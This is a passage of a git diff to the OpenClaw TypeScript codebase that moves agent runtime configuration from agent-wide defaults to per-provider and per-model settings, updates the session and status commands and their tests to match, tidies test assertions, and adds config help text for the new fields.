{ + bytes = emitForKind(ast, fileName); + } catch (err) { + if (err instanceof OcEmitSentinelError) { + emitError( + runtime, + mode, + `emit refused: ${err.message}`, + "OC_EMIT_SENTINEL", + ); + runtime.exit(1); + return; + } + throw err; + } + if (mode === "json") { + runtime.writeStdout(JSON.stringify({ ok: true, kind: ast.kind, bytes })); + return; + } + runtime.writeStdout(bytes); +} diff --git a/src/commands/sessions.model-resolution.test.ts b/src/commands/sessions.model-resolution.test.ts index 6cc7e6ebcd3..d87d45bcc5c 100644 --- a/src/commands/sessions.model-resolution.test.ts +++ b/src/commands/sessions.model-resolution.test.ts @@ -74,9 +74,10 @@ describe("sessionsCommand model resolution", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, @@ -100,7 +101,7 @@ describe("sessionsCommand model resolution", () => { expect(session?.model).toBe("claude-opus-4-7"); expect(session?.agentRuntime).toEqual({ id: "claude-cli", - source: "defaults", + source: "model", }); }); @@ -108,9 +109,10 @@ describe("sessionsCommand model resolution", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "openai/gpt-5.4" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, diff --git a/src/commands/sessions.test.ts b/src/commands/sessions.test.ts index 84bb03226af..8f9759ed285 100644 --- a/src/commands/sessions.test.ts +++ b/src/commands/sessions.test.ts @@ -57,9 +57,10 @@ describe("sessionsCommand", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, @@ -92,9 +93,10 @@ describe("sessionsCommand", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, diff --git a/src/commands/sessions.ts b/src/commands/sessions.ts index 5b841c305c4..189f6b9b0b0 100644 --- a/src/commands/sessions.ts +++ b/src/commands/sessions.ts @@ -1,6 +1,5 @@ -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { DEFAULT_CONTEXT_TOKENS } from "../agents/defaults.js"; -import { selectAgentHarness } from "../agents/harness/selection.js"; import { getRuntimeConfig } from "../config/config.js"; import { loadSessionStore, resolveSessionTotalTokens } from "../config/sessions.js"; import type { SessionEntry } from "../config/sessions/types.js"; @@ -34,7 +33,7 @@ import { type SessionRow = SessionDisplayRow & { agentId: string; kind: "cron" | "direct" | "group" | "global" | "unknown"; - agentRuntime: ReturnType; + agentRuntime: ReturnType; runtimeLabel: string; }; @@ -172,42 +171,14 @@ const formatKindCell = (kind: SessionRow["kind"], rich: boolean) => { function resolveSessionRuntimeLabel(params: { cfg: OpenClawConfig; entry: SessionEntry; - agentRuntime: ReturnType; + agentRuntime: ReturnType; modelProvider: string; model: string; agentId: string; sessionKey: string; }): string { - const explicitRuntime = - normalizeOptionalLowercaseString(params.entry.agentRuntimeOverride) ?? - normalizeOptionalLowercaseString(params.entry.agentHarnessId) ?? - (params.agentRuntime.source === "implicit" - ? undefined - : normalizeOptionalLowercaseString(params.agentRuntime.id)); - if (explicitRuntime && explicitRuntime !== "auto" && explicitRuntime !== "default") { - return resolveAgentRuntimeLabel({ - config: params.cfg, - sessionEntry: params.entry, - resolvedHarness: explicitRuntime, - fallbackProvider: params.modelProvider, - }); - } - - let resolvedHarness: string | undefined; - try { - const selected = selectAgentHarness({ - provider: params.modelProvider, - modelId: params.model, - config: params.cfg, - agentId: params.agentId, - sessionKey: params.sessionKey, - agentHarnessId: params.entry.agentHarnessId, - }); - const id = normalizeOptionalLowercaseString(selected.id); - resolvedHarness = id && id !== "pi" ? id : undefined; - } catch { - resolvedHarness = undefined; - } + const id = normalizeOptionalLowercaseString(params.agentRuntime.id); + const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; return resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, @@ -291,7 +262,13 @@ export async function sessionsCommand( const row = toSessionDisplayRow(key, entry); const agentId = parseAgentSessionKey(row.key)?.agentId ?? target.agentId; const modelRef = resolveSessionDisplayModelRef(cfg, row); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, agentId); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId, + provider: modelRef.provider, + model: modelRef.model, + sessionKey: row.key, + }); return Object.assign({}, row, { agentId, agentRuntime, diff --git a/src/commands/status.scan.fast-json.test.ts b/src/commands/status.scan.fast-json.test.ts index 102b2ae6a70..496d7f76352 100644 --- a/src/commands/status.scan.fast-json.test.ts +++ b/src/commands/status.scan.fast-json.test.ts @@ -55,6 +55,7 @@ describe("scanStatusJsonFast", () => { await scanStatusJsonFast({}, {} as never); + expect(mocks.hasConfiguredChannelsForReadOnlyScope).not.toHaveBeenCalled(); expect(mocks.ensurePluginRegistryLoaded).not.toHaveBeenCalled(); expect(loggingStateRef.forceConsoleToStderr).toBe(false); }); diff --git a/src/commands/status.scan.fast-json.ts b/src/commands/status.scan.fast-json.ts index 9b84eca6b61..d5904557521 100644 --- a/src/commands/status.scan.fast-json.ts +++ b/src/commands/status.scan.fast-json.ts @@ -1,5 +1,5 @@ +import { hasPotentialConfiguredChannels } from "../channels/config-presence.js"; import type { OpenClawConfig } from "../config/types.js"; -import { hasConfiguredChannelsForReadOnlyScope } from "../plugins/channel-plugin-ids.js"; import type { RuntimeEnv } from "../runtime.js"; import { executeStatusScanFromOverview } from "./status.scan-execute.ts"; import { @@ -58,11 +58,8 @@ export async function scanStatusJsonFast( commandName: "status --json", allowMissingConfigFastPath: true, includeChannelSummary: false, - resolveHasConfiguredChannels: (cfg, sourceConfig) => - hasConfiguredChannelsForReadOnlyScope({ - config: cfg, - activationSourceConfig: sourceConfig, - env: process.env, + resolveHasConfiguredChannels: (cfg) => + hasPotentialConfiguredChannels(cfg, process.env, { includePersistedAuthState: false, }), resolveMemory: async ({ cfg, agentStatus, memoryPlugin }) => diff --git a/src/commands/status.scan.test-helpers.ts b/src/commands/status.scan.test-helpers.ts index 2acbbc47aa2..65b692a6108 100644 --- a/src/commands/status.scan.test-helpers.ts +++ b/src/commands/status.scan.test-helpers.ts @@ -8,6 +8,7 @@ type ResolveConfigPathMock = Mock<() => string>; type StatusScanSharedMocks = { resolveConfigPath: ResolveConfigPathMock; hasPotentialConfiguredChannels: UnknownMock; + hasConfiguredChannelsForReadOnlyScope: UnknownMock; readBestEffortConfig: UnknownMock; resolveCommandSecretRefsViaGateway: UnknownMock; getUpdateCheckResult: UnknownMock; @@ -26,6 +27,7 @@ export function createStatusScanSharedMocks(configPathLabel: string): StatusScan return { resolveConfigPath: vi.fn(() => `/tmp/openclaw-${configPathLabel}-missing-${process.pid}.json`), hasPotentialConfiguredChannels: vi.fn(), + hasConfiguredChannelsForReadOnlyScope: vi.fn(), readBestEffortConfig: vi.fn(), resolveCommandSecretRefsViaGateway: vi.fn(), getUpdateCheckResult: vi.fn(), @@ -187,16 +189,7 @@ export async function loadStatusScanModuleForTest( config: OpenClawConfig; env?: NodeJS.ProcessEnv; includePersistedAuthState?: boolean; - }) => - Boolean( - mocks.hasPotentialConfiguredChannels( - params.config, - params.env, - params.includePersistedAuthState === undefined - ? undefined - : { includePersistedAuthState: params.includePersistedAuthState }, - ), - ), + }) => mocks.hasConfiguredChannelsForReadOnlyScope(params), listConfiguredChannelIdsForReadOnlyScope: (params: { config: OpenClawConfig; env?: NodeJS.ProcessEnv; @@ -409,6 +402,22 @@ export function applyStatusScanDefaults( const resolvedConfig = options.resolvedConfig ?? sourceConfig; mocks.hasPotentialConfiguredChannels.mockReturnValue(options.hasConfiguredChannels ?? false); + mocks.hasConfiguredChannelsForReadOnlyScope.mockImplementation((rawParams: unknown) => { + const params = rawParams as { + config: OpenClawConfig; + env?: NodeJS.ProcessEnv; + includePersistedAuthState?: boolean; + }; + return Boolean( + mocks.hasPotentialConfiguredChannels( + params.config, + params.env, + params.includePersistedAuthState === undefined + ? undefined + : { includePersistedAuthState: params.includePersistedAuthState }, + ), + ); + }); mocks.readBestEffortConfig.mockResolvedValue(sourceConfig); mocks.resolveCommandSecretRefsViaGateway.mockResolvedValue({ resolvedConfig, diff --git a/src/commands/status.summary.runtime.test.ts b/src/commands/status.summary.runtime.test.ts index e525e22aae8..815a5a210b4 100644 --- a/src/commands/status.summary.runtime.test.ts +++ b/src/commands/status.summary.runtime.test.ts @@ -51,14 +51,13 @@ describe("statusSummaryRuntime.classifySessionKey", () => { }); describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { - it("uses the shared /status runtime labels for persisted harness metadata", () => { + it("uses the shared /status runtime label for the implicit OpenAI Codex route", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: {} as never, entry: { sessionId: "session-1", updatedAt: 0, - agentRuntimeOverride: "codex", }, provider: "openai", model: "gpt-5.5", @@ -67,13 +66,15 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { ).toBe("OpenAI Codex"); }); - it("preserves configured default CLI runtimes when sessions lack persisted harness metadata", () => { + it("preserves configured default model CLI runtimes", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, + }, }, }, } as never, @@ -88,18 +89,22 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { ).toBe("Claude CLI"); }); - it("preserves configured agent runtimes before harness selection", () => { + it("preserves configured agent model runtimes before harness selection", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { - agentRuntime: { id: "pi" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "pi" } }, + }, }, list: [ { id: "research", - agentRuntime: { id: "codex" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, + }, }, ], }, diff --git a/src/commands/status.summary.runtime.ts b/src/commands/status.summary.runtime.ts index f6a108e0938..be8482f908a 100644 --- a/src/commands/status.summary.runtime.ts +++ b/src/commands/status.summary.runtime.ts @@ -1,7 +1,6 @@ -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { resolveConfiguredProviderFallback } from "../agents/configured-provider-fallback.js"; import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../agents/defaults.js"; -import { selectAgentHarness } from "../agents/harness/selection.js"; import { parseModelRef, resolvePersistedSelectedModelRef } from "../agents/model-selection.js"; import { normalizeProviderId } from "../agents/provider-id.js"; import { resolveAgentModelPrimaryValue } from "../config/model-input.js"; @@ -178,37 +177,15 @@ function resolveSessionRuntimeLabel(params: { agentId?: string; sessionKey: string; }): string { - const agentRuntime = resolveAgentRuntimeMetadata(params.cfg, params.agentId ?? ""); - const explicitRuntime = - normalizeOptionalLowercaseString(params.entry?.agentRuntimeOverride) ?? - normalizeOptionalLowercaseString(params.entry?.agentHarnessId) ?? - (agentRuntime.source === "implicit" - ? undefined - : normalizeOptionalLowercaseString(agentRuntime.id)); - if (explicitRuntime && explicitRuntime !== "auto" && explicitRuntime !== "default") { - return resolveAgentRuntimeLabel({ - config: params.cfg, - sessionEntry: params.entry, - resolvedHarness: explicitRuntime, - fallbackProvider: params.provider, - }); - } - - let resolvedHarness: string | undefined; - try { - const selected = selectAgentHarness({ - provider: params.provider, - modelId: params.model, - config: params.cfg, - agentId: params.agentId, - sessionKey: params.sessionKey, - agentHarnessId: params.entry?.agentHarnessId, - }); - const id = normalizeOptionalLowercaseString(selected.id); - resolvedHarness = id && id !== "pi" ? id : undefined; - } catch { - resolvedHarness = undefined; - } + const runtime = resolveModelAgentRuntimeMetadata({ + cfg: params.cfg, + agentId: params.agentId ?? "", + provider: params.provider, + model: params.model, + sessionKey: params.sessionKey, + }); + const id = normalizeOptionalLowercaseString(runtime.id); + const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; return resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 2fafdca4c6e..5aed93cf213 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -39,6 +39,14 @@ const nonBooleanConfigCases = [ }, ]; +function issuePaths(issues: Array<{ path: string }>): string[] { + return issues.map((issue) => issue.path); +} + +function issueMessages(issues: Array<{ message: string }>): string[] { + return issues.map((issue) => issue.message); +} + describe("boolean config validation", () => { it.each(nonBooleanConfigCases)("rejects non-boolean values for $name", ({ config }) => { const result = OpenClawSchema.safeParse(config); @@ -986,8 +994,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"memorySearch"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "memorySearch")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"memorySearch"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("memorySearch"); expect((snap.sourceConfig as { memorySearch?: unknown }).memorySearch).toMatchObject({ provider: "local", fallback: "none", @@ -1009,8 +1019,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"heartbeat"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "heartbeat")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"heartbeat"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("heartbeat"); expect((snap.sourceConfig as { heartbeat?: unknown }).heartbeat).toMatchObject({ every: "30m", model: "anthropic/claude-3-5-haiku-20241022", @@ -1032,8 +1044,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"heartbeat"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "heartbeat")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"heartbeat"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("heartbeat"); expect((snap.sourceConfig as { heartbeat?: unknown }).heartbeat).toMatchObject({ showOk: true, showAlerts: false, @@ -1057,7 +1071,7 @@ describe("config strict validation", () => { }; const issues = findLegacyConfigIssues(raw); - expect(issues.some((issue) => issue.path === "messages.tts")).toBe(true); + expect(issuePaths(issues)).toContain("messages.tts"); expect(raw.messages.tts.elevenlabs).toEqual({ apiKey: "test-key", voiceId: "voice-1", @@ -1088,12 +1102,12 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.path === "agents.defaults.sandbox")).toBe(true); - expect(snap.issues.some((issue) => issue.path === "agents.list.0.sandbox")).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "agents.defaults.sandbox")).toBe( - true, + expect(issuePaths(snap.issues)).toEqual( + expect.arrayContaining(["agents.defaults.sandbox", "agents.list.0.sandbox"]), + ); + expect(issuePaths(snap.legacyIssues)).toEqual( + expect.arrayContaining(["agents.defaults.sandbox", "agents.list"]), ); - expect(snap.legacyIssues.some((issue) => issue.path === "agents.list")).toBe(true); expect(snap.sourceConfig.agents?.defaults?.sandbox).toEqual({ perSession: true }); expect(snap.sourceConfig.agents?.list?.[0]?.sandbox).toEqual({ perSession: false }); }); @@ -1111,7 +1125,7 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); expect(snap.legacyIssues).toHaveLength(0); - expect(snap.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(issuePaths(snap.issues)).toContain("gateway.bind"); } finally { if (prev === undefined) { delete process.env.OPENCLAW_BIND; @@ -1130,8 +1144,8 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(issuePaths(snap.issues)).toContain("gateway.bind"); + expect(issuePaths(snap.legacyIssues)).toContain("gateway.bind"); }); }); }); diff --git a/src/config/config.gateway-tailscale-bind.test.ts b/src/config/config.gateway-tailscale-bind.test.ts index 20eedea34c5..bffe4e996ea 100644 --- a/src/config/config.gateway-tailscale-bind.test.ts +++ b/src/config/config.gateway-tailscale-bind.test.ts @@ -41,7 +41,7 @@ describe("gateway tailscale bind validation", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("gateway.bind"); } }); @@ -73,7 +73,7 @@ describe("gateway tailscale bind validation", () => { }); expect(customRes.ok).toBe(false); if (!customRes.ok) { - expect(customRes.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(customRes.issues.map((issue) => issue.path)).toContain("gateway.bind"); } }); }); diff --git a/src/config/config.hooks-module-paths.test.ts b/src/config/config.hooks-module-paths.test.ts index 0bd93f43761..4d1411fd67b 100644 --- a/src/config/config.hooks-module-paths.test.ts +++ b/src/config/config.hooks-module-paths.test.ts @@ -8,7 +8,7 @@ describe("config hooks module paths", () => { if (res.ok) { throw new Error("expected validation failure"); } - expect(res.issues.some((iss) => iss.path === expectedPath)).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain(expectedPath); }; it("rejects absolute hooks.mappings[].transform.module", () => { diff --git a/src/config/config.multi-agent-agentdir-validation.test.ts b/src/config/config.multi-agent-agentdir-validation.test.ts index d21af7317fe..5c721b20504 100644 --- a/src/config/config.multi-agent-agentdir-validation.test.ts +++ b/src/config/config.multi-agent-agentdir-validation.test.ts @@ -18,7 +18,7 @@ describe("multi-agent agentDir validation", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path === "agents.list")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("agents.list"); expect(res.issues[0]?.message).toContain("Duplicate agentDir"); } }); diff --git a/src/config/config.schema-regressions.test.ts b/src/config/config.schema-regressions.test.ts index 6bfade346c8..e7a85a3c24d 100644 --- a/src/config/config.schema-regressions.test.ts +++ b/src/config/config.schema-regressions.test.ts @@ -214,7 +214,9 @@ describe("config schema regressions", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path.includes("agents.defaults.pdfMax"))).toBe(true); + expect(res.issues.map((issue) => issue.path)).toEqual( + expect.arrayContaining(["agents.defaults.pdfMaxBytesMb", "agents.defaults.pdfMaxPages"]), + ); } }); diff --git a/src/config/config.tools-alsoAllow.test.ts b/src/config/config.tools-alsoAllow.test.ts index ac800b060c3..3dc72efbef6 100644 --- a/src/config/config.tools-alsoAllow.test.ts +++ b/src/config/config.tools-alsoAllow.test.ts @@ -14,7 +14,7 @@ describe("config: tools.alsoAllow", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path === "tools")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("tools"); } }); @@ -35,7 +35,7 @@ describe("config: tools.alsoAllow", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path.includes("agents.list"))).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("agents.list.0.tools"); } }); diff --git a/src/config/io.best-effort.test.ts b/src/config/io.best-effort.test.ts index d60a3069854..78894b43b28 100644 --- a/src/config/io.best-effort.test.ts +++ b/src/config/io.best-effort.test.ts @@ -24,7 +24,7 @@ describe("readBestEffortConfig", () => { expect(snapshot.sourceConfig).toEqual({ update: { channel: "beta" } }); expect(await fs.readFile(configPath, "utf-8")).toBe(directEditRaw); const entries = await fs.readdir(`${home}/.openclaw`); - expect(entries.some((entry) => entry.startsWith("openclaw.json.clobbered."))).toBe(false); + expect(entries.filter((entry) => entry.startsWith("openclaw.json.clobbered."))).toEqual([]); }); }); diff --git a/src/config/io.compat.test.ts b/src/config/io.compat.test.ts index ae27ace465b..acc48a26aed 100644 --- a/src/config/io.compat.test.ts +++ b/src/config/io.compat.test.ts @@ -109,7 +109,7 @@ describe("config io paths", () => { }); }); - it("hints at stale wrappers when config was written by a newer OpenClaw", async () => { + it("explains what to check when config was written by a newer OpenClaw", async () => { await withTempHome(async (home) => { const configPath = path.join(home, ".openclaw", "openclaw.json"); await fs.mkdir(path.dirname(configPath), { recursive: true }); @@ -138,12 +138,19 @@ describe("config io paths", () => { io.loadConfig(); expect(logger.warn).toHaveBeenCalledWith( - expect.stringContaining("stale PATH or global wrappers"), + expect.stringContaining( + "Your OpenClaw config was written by version 9999.1.1, but this command is running", + ), ); - expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining("command -v openclaw")); - expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining("openclaw --version")); expect(logger.warn).toHaveBeenCalledWith( - expect.stringContaining("openclaw gateway status --deep"), + expect.stringContaining( + "Check: `openclaw --version`, `which openclaw`, and `openclaw gateway status --deep`.", + ), + ); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining( + "If unexpected, update PATH so `openclaw` points to the version you want", + ), ); }); }); diff --git a/src/config/io.eacces.test.ts b/src/config/io.eacces.test.ts index ab56e27a659..d1c50c1b3bd 100644 --- a/src/config/io.eacces.test.ts +++ b/src/config/io.eacces.test.ts @@ -42,7 +42,7 @@ describe("config io EACCES handling", () => { expect(snapshot.issues[0].message).toContain("chown"); expect(snapshot.issues[0].message).toContain(configPath); // Should also emit to the logger - expect(errors.some((e) => e.includes("chown"))).toBe(true); + expect(errors).toEqual(expect.arrayContaining([expect.stringContaining("chown")])); }); it("includes configPath in the chown hint for the correct remediation command", async () => { diff --git a/src/config/io.ts b/src/config/io.ts index 5d4387051dc..f9daba9093d 100644 --- a/src/config/io.ts +++ b/src/config/io.ts @@ -908,9 +908,11 @@ function warnIfConfigFromFuture(cfg: OpenClawConfig, logger: Pick { ]); await expect(fs.readFile(configPath, "utf-8")).resolves.toBe(cleanRaw); const entries = await fs.readdir(path.dirname(configPath)); - expect(entries.some((entry) => entry.includes(".clobbered."))).toBe(true); + expect(entries.filter((entry) => entry.includes(".clobbered."))).toHaveLength(1); expect(warn).toHaveBeenCalledWith( expect.stringContaining("Config auto-stripped non-JSON prefix:"), ); @@ -830,7 +830,7 @@ describe("config io write", () => { await expect(fs.readFile(configPath, "utf-8")).resolves.toBe(originalRaw); const entries = await fs.readdir(path.dirname(configPath)); - expect(entries.some((entry) => entry.includes(".rejected."))).toBe(true); + expect(entries.filter((entry) => entry.includes(".rejected."))).toHaveLength(1); expect(warn).toHaveBeenCalledWith(expect.stringContaining("Config write rejected:")); }); }); diff --git a/src/config/logging-max-file-bytes.test.ts b/src/config/logging-max-file-bytes.test.ts index cb297977a43..29bd65256f3 100644 --- a/src/config/logging-max-file-bytes.test.ts +++ b/src/config/logging-max-file-bytes.test.ts @@ -19,7 +19,7 @@ describe("logging.maxFileBytes config", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path === "logging.maxFileBytes")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("logging.maxFileBytes"); } }); }); diff --git a/src/config/model-input.ts b/src/config/model-input.ts index 9645bfdc1be..aed1c859cd4 100644 --- a/src/config/model-input.ts +++ b/src/config/model-input.ts @@ -1,4 +1,10 @@ -import { normalizeOptionalString, resolvePrimaryStringValue } from "../shared/string-coerce.js"; +import { normalizeProviderId } from "../agents/provider-id.js"; +import { normalizeGooglePreviewModelId } from "../plugin-sdk/provider-model-id-normalize.js"; +import { + normalizeLowercaseStringOrEmpty, + normalizeOptionalString, + resolvePrimaryStringValue, +} from "../shared/string-coerce.js"; import type { AgentModelConfig } from "./types.agents-shared.js"; type AgentModelListLike = { @@ -7,6 +13,24 @@ type AgentModelListLike = { timeoutMs?: number; }; +const GOOGLE_CONFIG_MODEL_PROVIDERS = new Set(["google", "google-gemini-cli", "google-vertex"]); + +function modelKeyForConfig(provider: string, model: string): string { + const providerId = provider.trim(); + const modelId = model.trim(); + if (!providerId) { + return modelId; + } + if (!modelId) { + return providerId; + } + return normalizeLowercaseStringOrEmpty(modelId).startsWith( + `${normalizeLowercaseStringOrEmpty(providerId)}/`, + ) + ? modelId + : `${providerId}/${modelId}`; +} + export function resolveAgentModelPrimaryValue(model?: AgentModelConfig): string | undefined { return resolvePrimaryStringValue(model); } @@ -39,3 +63,19 @@ export function toAgentModelListLike(model?: AgentModelConfig): AgentModelListLi } return model; } + +export function normalizeAgentModelRefForConfig(model: string): string { + const trimmed = model.trim(); + const slash = trimmed.indexOf("/"); + if (slash <= 0 || slash >= trimmed.length - 1) { + return trimmed; + } + + const provider = normalizeProviderId(trimmed.slice(0, slash)); + if (!GOOGLE_CONFIG_MODEL_PROVIDERS.has(provider)) { + return trimmed; + } + + const normalizedModel = normalizeGooglePreviewModelId(trimmed.slice(slash + 1)); + return modelKeyForConfig(provider, normalizedModel); +} diff --git a/src/config/plugin-auto-enable.core.test.ts b/src/config/plugin-auto-enable.core.test.ts index 01c968817ad..a4a9c2e2bd5 100644 --- a/src/config/plugin-auto-enable.core.test.ts +++ b/src/config/plugin-auto-enable.core.test.ts @@ -675,13 +675,17 @@ describe("applyPluginAutoEnable core", () => { ]); }); - it("auto-enables an opt-in plugin when an agent runtime is configured", () => { + it("auto-enables an opt-in plugin when a provider runtime is configured", () => { const result = applyPluginAutoEnable({ config: { - agents: { - defaults: { - agentRuntime: { - id: "codex", + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + models: [], + agentRuntime: { + id: "codex", + }, }, }, }, @@ -702,13 +706,17 @@ describe("applyPluginAutoEnable core", () => { expect(result.changes).toContain("codex agent runtime configured, enabled automatically."); }); - it("auto-enables a CLI backend owner when an agent runtime is configured", () => { + it("auto-enables a CLI backend owner when a provider runtime is configured", () => { const result = applyPluginAutoEnable({ config: { - agents: { - defaults: { - agentRuntime: { - id: "claude-cli", + models: { + providers: { + anthropic: { + baseUrl: "https://api.anthropic.com", + models: [], + agentRuntime: { + id: "claude-cli", + }, }, }, }, @@ -732,7 +740,7 @@ describe("applyPluginAutoEnable core", () => { expect(result.changes).toContain("claude-cli agent runtime configured, enabled automatically."); }); - it("auto-enables an opt-in plugin when an agent harness runtime is forced by env", () => { + it("ignores agent harness runtime env when auto-enabling plugins", () => { const result = applyPluginAutoEnable({ config: {}, env: makeIsolatedEnv({ OPENCLAW_AGENT_RUNTIME: "codex" }), @@ -747,8 +755,8 @@ describe("applyPluginAutoEnable core", () => { ]), }); - expect(result.config.plugins?.entries?.codex?.enabled).toBe(true); - expect(result.changes).toContain("codex agent runtime configured, enabled automatically."); + expect(result.config.plugins?.entries?.codex?.enabled).toBeUndefined(); + expect(result.changes).not.toContain("codex agent runtime configured, enabled automatically."); }); it("skips auto-enable work for configs without channel or plugin-owned surfaces", () => { diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 2e2f2966a06..eded1129a48 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -885,6 +885,10 @@ export const FIELD_HELP: Record = { "Static HTTP headers merged into provider requests for tenant routing, proxy auth, or custom gateway requirements. Use this sparingly and keep sensitive header values in secrets.", "models.providers.*.authHeader": "When true, credentials are sent via the HTTP Authorization header even if alternate auth is possible. Use this only when your provider or proxy explicitly requires Authorization forwarding.", + "models.providers.*.agentRuntime": + "Optional low-level agent runtime policy for this provider. Use provider/model runtime policy instead of agent-wide runtime pins; omitted/default lets OpenClaw choose the runtime for the selected provider.", + "models.providers.*.agentRuntime.id": + 'Provider agent runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli". OpenAI on the official endpoint defaults to the Codex harness when omitted.', "models.providers.*.request": "Optional request overrides for model-provider requests, including extra headers, auth overrides, proxy routing, TLS client settings, and optional allowPrivateNetwork for trusted self-hosted endpoints. Use these only when your upstream or enterprise network path requires transport customization.", "models.providers.*.request.headers": @@ -939,6 +943,10 @@ export const FIELD_HELP: Record = { "When true, allow HTTPS to the model base URL when DNS resolves to private, CGNAT, or similar ranges, via the provider HTTP fetch guard (fetchWithSsrFGuard). OpenAI Responses WebSocket reuses request for headers/TLS but does not use that fetch SSRF path. Use only for operator-controlled self-hosted OpenAI-compatible endpoints (LAN, overlay, split DNS). Default is false.", "models.providers.*.models": "Declared model list for a provider including identifiers, metadata, provider-specific params, and optional compatibility/cost hints. Keep IDs exact to provider catalog values so selection and fallback resolve correctly.", + "models.providers.*.models[].agentRuntime": + "Optional low-level agent runtime policy for this specific model. Model runtime policy overrides the provider runtime policy.", + "models.providers.*.models[].agentRuntime.id": + 'Model agent runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', auth: "Authentication profile root used for 